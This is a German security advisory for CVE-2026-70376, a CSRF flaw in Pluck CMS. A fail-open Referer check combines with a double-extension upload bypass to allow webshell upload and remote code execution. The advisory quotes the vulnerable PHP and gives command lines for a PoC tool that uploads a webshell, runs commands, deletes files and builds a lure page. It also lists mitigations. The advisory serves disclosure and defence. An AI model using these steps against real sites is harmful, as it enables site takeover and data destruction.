
Advisory und Python-PoC für Pluck-CMS-CSRF: Fail-open-Referer-Prüfung plus Upload mit doppelter Dateiendung ermöglicht die Bereitstellung einer Webshell und Remote-Code-Ausführung.
| CVE-ID | CVE-2026-70376 |
| Tracking-ID | PT-2026-68036 |
| Produkt | pluck-cms/pluck — Pluck CMS (flat-file PHP) |
| Betroffen | 4.7.x bis 4.7.21-dev / aktueller master |
| Schwachstelle | CWE-352 (CSRF) · CWE-434 (uneingeschränkter Upload, Verstärker) |
| CVSS v3.1 | 8.0 — Hoch · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H |
| Vektor | Netzwerk · keine Privilegien · ein einziger Admin-Seitenbesuch (UI:R) |
| Auswirkung | Inhaltslöschung/DoS, Injektion gespeicherter Inhalte, RCE auf Apache/mod_php |
| Eingeführt | Commit f79f916 (Dez. 2019) — verwundbare Logik seither vorhanden |
| Forscher | Ilhomjon Rustamov (@IlhomjonR) |
Das Pluck-Adminpanel hat im gesamten Codebase keine CSRF-Tokens pro Anfrage.
Jede zustandsändernde Admin-Aktion wird durch eine einzige Funktion, requestedByTheSameDomain(), abgesichert, deren einzige Verteidigung ein Vergleich des Referer-Hosts ist — und diese Prüfung schlägt offen fehl (Fail-open): Wenn eine Anfrage ganz ohne Referer-Header eintrifft, gibt die Funktion true zurück und die Aktion wird erlaubt.
Da eine Angreifer-Seite vollständig kontrolliert, ob ein Referer gesendet wird (<meta name="referrer" content="no-referrer">), kann jeder angemeldete Administrator, der eine bösartige Seite besucht, gezwungen werden, privilegierte Aktionen cross-site auszuführen.
Mehrere destruktive Aktionen laufen über GET, und Pluck setzt kein SameSite-Attribut auf PHPSESSID (Browser wenden SameSite=Lax an, das bei Top-Level-GET-Navigationen dennoch mitgesendet wird). Daher sind sie bei den Standard-Browsereinstellungen cross-site erreichbar.
Eine sekundäre Schwachstelle im Upload-Filter ermöglicht es derselben CSRF, eine Datei mit doppelter Endung shell.php.jpg zu platzieren — und macht aus der CSRF auf Apache/mod_php-Hosts eine Drive-by-RCE.
data/inc/functions.admin.phpfunction requestedByTheSameDomain() {
if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
else { $myDomain = NULL; }
if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
else { $requestsSource = NULL; }
$referelDomain = parse_url($requestsSource, PHP_URL_HOST);
if ($myDomain != NULL && $requestsSource != NULL &&
(strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
return true; // Referer host == our host -> allow
} elseif ($myDomain == NULL || $requestsSource == NULL) {
show_error("Be carefull with clicking links, ...", 1);
return true; // Referer ABSENT -> FAIL OPEN -> allow <==
} else {
return false; // Referer host mismatch -> block
}
}
Eine Cross-Site-Anfrage mit einem fremden Referer wird korrekt abgewiesen (der else-Zweig), was ein trügerisches Sicherheitsgefühl erzeugt — aber der Angreifer unterdrückt den Referer schlichtweg, trifft auf den Fail-open-Zweig, und die Anfrage wird erlaubt. Hinter dieser Prüfung gibt es keine Token-Schicht.
Die Prüfung wird einmal in admin.php ausgeführt und für die gesamte Aktions-Switch-Anweisung als vertrauenswürdig behandelt:
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
switch ($_GET['action']) {
case 'deletefile': include_once('data/inc/deletefile.php'); break;
case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
case 'deletepage': include_once('data/inc/deletepage.php'); break;
case 'module_delete': /* ... */
case 'images': include_once('data/inc/images.php'); break; // upload
// ...
}
}
SameSite auf dem Session-Cookie (Verstärker)Pluck ruft niemals session_set_cookie_params() auf, daher erbt PHPSESSID den leeren Standardwert → Browser wenden SameSite=Lax an, das bei Top-Level-GET-Navigationen dennoch mitgesendet wird. Über GET exponierte Aktionen (deletefile, deleteimage, deletepage, module_delete, theme_delete, logout) sind daher mit einem einzigen Seitenbesuch fälschbar.
data/inc/images.php (RCE-Verstärker)if (in_array($_FILES['imagefile']['type'], // client-controlled MIME
array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
$imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
show_error($lang['general']['upload_failed'], 1); // only checks LAST 4 chars
} else {
copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
// ...
}
}
Beide Prüfungen lassen sich trivial umgehen:
$_FILES[...]['type']) → einfach image/jpeg setzen;shell.php.jpg endet auf .jpg und besteht die Prüfung.Die Datei wird nach images/shell.php.jpg geschrieben; auf einem Apache/mod_php-Host mit Multi-Extension-Behandlung wird sie als PHP ausgeführt.
Ein einziger Seitenbesuch eines authentifizierten Admins — kein Klick.
flowchart LR
A[Admin logged into Pluck] --> B[Opens attacker page]
B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
C --> D[Top-level nav / auto-form to admin.php]
D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
F --> G1[deletefile / deletepage -> destruction / DoS]
F --> G2[editpage -> stored-content injection]
F --> G3["images upload -> shell.php.jpg -> RCE"]Folgende Aktionen sind fälschbar:
| Aktion | Methode | Auswirkung |
|---|---|---|
admin.php?action=deletefile&var1=<f> | GET | Beliebige hochgeladene Datei löschen |
admin.php?action=deletepage&... | GET | Website-Seiten löschen (DoS) |
admin.php?action=module_delete&... | GET | Module entfernen |
admin.php?action=logout | GET | Admin abmelden |
admin.php?action=editpage | POST | Gespeicherten Seiteninhalt injizieren |
admin.php?action=images (Upload) | POST | shell.php.jpg platzieren → RCE |
Ein funktionierendes PoC-Werkzeugpaket befindet sich in exploit/:
pluck_csrf_rce.py — die Fail-open-Logik nachweisen, per CSRF eine Webshell
hochladen und Befehle ausführen, per CSRF Dateien löschen oder einen Köder (Lure) erzeugen.csrf_poc.html — die eigenständige Drive-by-Seite, die einem Opfer-Administrator zugestellt wird.pip install requests
# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe
# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
# -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id
# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt
# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html
Die Python-Requests senden absichtlich keinen Referer und reproduzieren damit exakt einen Opfer-Browser unter einer no-referrer-Richtlinie. Eine Asymmetrie auf HTTP-Ebene, die die Logik bestätigt:
Referer: http://attacker.example -> action BLOCKED (else branch)
(no Referer header) -> action SUCCEEDED *** CSRF bypassed ***
⚠️ Der Schritt
.php.jpg→ RCE erfordert einen Apache/mod_php-Host, der Dateien mit mehreren Endungen durch PHP ausführt. Wenn das nicht konfiguriert ist, gelingt der CSRF-Upload weiterhin, und die destruktivendelete/deletepage-Primitive sind davon nicht betroffen — die CSRF ist der Kern-Bug; RCE ist der Verstärker.
Referer/Origin als nicht vertrauenswürdig behandeln. Den Origin-Header bevorzugen und ablehnen, wenn er fehlt oder nicht übereinstimmt.deletefile, deletepage, logout usw. auf POST umstellen, damit SameSite=Lax einen Basisschutz bietet.SameSite=Strict (oder Lax), HttpOnly und Secure über session_set_cookie_params() setzen.| Datum | Ereignis |
|---|---|
| 2019-12 | Verwundbare requestedByTheSameDomain()-Logik eingeführt (f79f916) |
| 2026-07-08 | Durch Quellcode-Audit entdeckt; End-to-End-PoC verifiziert |
| 2026-08-10 | Advisory entworfen (PT-2026-68036) |
| 2026-08-12 | CVE-2026-70376 zugewiesen; Advisory + PoC veröffentlicht |
Dieses Material wird ausschließlich für Lehr- und Verteidigungszwecke sowie für autorisierte Sicherheitstests veröffentlicht. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch.
Gefunden & dokumentiert von @IlhomjonR · CVE-2026-70376 · PT-2026-68036